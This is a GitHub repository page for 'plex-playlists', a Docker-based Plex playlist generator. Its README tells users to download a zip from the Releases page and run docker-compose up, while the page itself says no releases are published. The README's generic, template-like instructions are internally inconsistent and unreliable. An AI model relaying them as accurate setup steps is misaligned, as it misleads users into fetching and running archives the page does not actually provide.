Skip to content

mdabushayem62/plex-playlists

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

48 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🎢 plex-playlists - Generate Your Perfect Plex Playlists

πŸ“₯ Download

Download Latest Release

πŸš€ Getting Started

Welcome to plex-playlists! This application helps you create automated playlists for your Plex media server with ease. You can customize your playlists based on recent play history and music similarity. No technical skills are required.

πŸ› οΈ System Requirements

Before you begin, ensure your system meets the following requirements:

  • Operating System: Windows 10 or higher, macOS Mojave or higher, or Linux (Ubuntu recommended)
  • Memory: At least 4 GB RAM
  • Processor: Intel Core i3 or equivalent
  • Storage: Minimum 200 MB free space
  • Installed Software: Ensure you have the latest version of Docker installed on your system

πŸ’Ύ Download & Install

To get started, visit the Releases page to download the latest version of plex-playlists. Follow these steps:

  1. Navigate to the Releases page by clicking the link above.
  2. Choose the appropriate file for your operating system.
  3. Click on the download link to start the download.
  4. Once the file finishes downloading, locate it in your downloads folder.

πŸŽ‰ Run the Application

After downloading the application, follow these instructions based on your operating system:

Windows

  1. Extract the Files: Right-click the downloaded zip file and select "Extract All."
  2. Open Command Prompt: Press Win + R, type cmd, and press Enter.
  3. Navigate to the Folder: Use cd followed by the path to the extracted folder.
  4. Run the Application: Type docker-compose up and press Enter. This command will start the application.

macOS

  1. Extract the Files: Double-click the downloaded zip file to extract it.
  2. Open Terminal: Press Command + Space, type Terminal, and press Enter.
  3. Navigate to the Folder: Use cd followed by the path to the extracted folder.
  4. Run the Application: Type docker-compose up and press Enter.

Linux

  1. Extract the Files: Use the terminal to navigate to the download directory. Use the command unzip <filename>.zip to extract.
  2. Open Terminal: Open your terminal application.
  3. Navigate to the Folder: Use cd followed by the path to the extracted folder.
  4. Run the Application: Type docker-compose up and press Enter.

πŸ“Š Configuration

After running the application, access the web UI for configuration. Open your web browser and enter http://localhost:3000. Here, you can:

  • Connect your Plex account for seamless playlist generation.
  • Set parameters like time-window for music history and scoring methods.
  • Save your settings to create personalized playlists.

πŸ”„ Features

plex-playlists offers several features to enhance your media experience:

  • Automated Playlist Generation: Create playlists based on your music history.
  • Sonic Similarity: Expand your playlists with similar songs and artists.
  • Web UI for Easy Configuration: Simple interface to customize settings without coding skills.
  • Time-Windowed History: Choose how far back you want to analyze your listening habits.
  • Exponential Recency Scoring: Ensure your latest favorites always find a spot in your playlists.

πŸ“’ Topics Covered

  • Automation
  • Docker
  • Homelab setup
  • Music management
  • Playlist automation
  • Self-hosted solutions
  • TypeScript development

🀝 Community Support

If you have questions or need help, we encourage you to join our community. You can find additional resources and connect with other users on our GitHub Issues page.

πŸ“… Future Updates

We are committed to improving plex-playlists. Future updates will include:

  • Enhanced user interface improvements.
  • More scoring methods for playlist generation.
  • Additional configuration options based on user feedback.

πŸ’‘ Troubleshooting

If you encounter issues, check the following:

  • Ensure Docker is installed and running.
  • Verify you are in the correct directory before running commands.
  • Check your internet connection when accessing the web UI.

For further assistance, please refer to the troubleshooting section on the GitHub Issues page.

πŸ’¬ Feedback

We appreciate your thoughts. Share your experience with plex-playlists, and let us know how we can improve. Your input is valuable to us.

For more detailed help, visit the Releases page to stay updated on new features and improvements.

About

🎢 Automate your Plex music experience with smart playlists that adapt to your listening habits, ensuring fresh tracks and nostalgic favorites every time.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors